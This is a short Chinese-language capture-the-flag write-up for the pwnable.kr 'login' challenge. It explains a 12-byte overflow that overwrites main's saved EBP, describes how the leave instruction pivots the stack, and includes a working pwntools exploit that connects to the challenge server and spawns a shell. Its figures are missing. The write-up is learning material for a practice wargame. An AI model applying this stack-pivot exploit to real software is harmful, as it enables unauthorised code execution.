pwnable.kr login之write up
main函数如下:
auth函数如下:
程序的流程如下:
-
输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中
-
mad5_auth()生成其MD5值并与
f87cd601aa7fedca99018a8be88eda34相比,如果相等则调用correct函数,得到shell
找12个字符进行base64加密:
将值输入找到溢出点:
发现AAAA覆盖了main函数的ebp,程序执行到leave出错。
leave相当于以下两条指令
指令 | 含义 |
---|---|
MOV ESP, EBP | EBP的值赋给ESP,即将栈指针移动至栈底部 |
POP EBP | 弹出保存在栈顶的前一个函数的EBP,即恢复栈桢 |
第一条
指令会把ESP
的值赋为0x41414141
,而这个地址是不合法的,显然不能作为栈的地址,因此会报错
这个溢出的利用方法简单,把main
函数的EBP
覆写为一个可以访问的我们可以控制的值即可。
利用写出exp,第一次自己写exp哦,虽然是简单的,但还是很开心:
#!/usr/bin/python from pwn import * #p=process('./login') p=remote('pwnable.kr',9003) #sysadr=0x08049278 #inputadr=0x0811EB40 payload=(p32(0xdeadbeef)+p32(0x08049278)+p32(0x0811EB40)).encode('base64') p.recvuntil('Authenticate :' ) p.sendline(payload) p.interactive()
一直不明白0xdeadbeef是什么作用,今天请教了师傅,终于弄明白了:
因为输入的起始地址并不是直接从返回地址被存放的位置开始的,那前面那些没什么作用的栈空间就要被填充
如果我用的是process那么就是启动本地程序,拿到的就是本地的shell。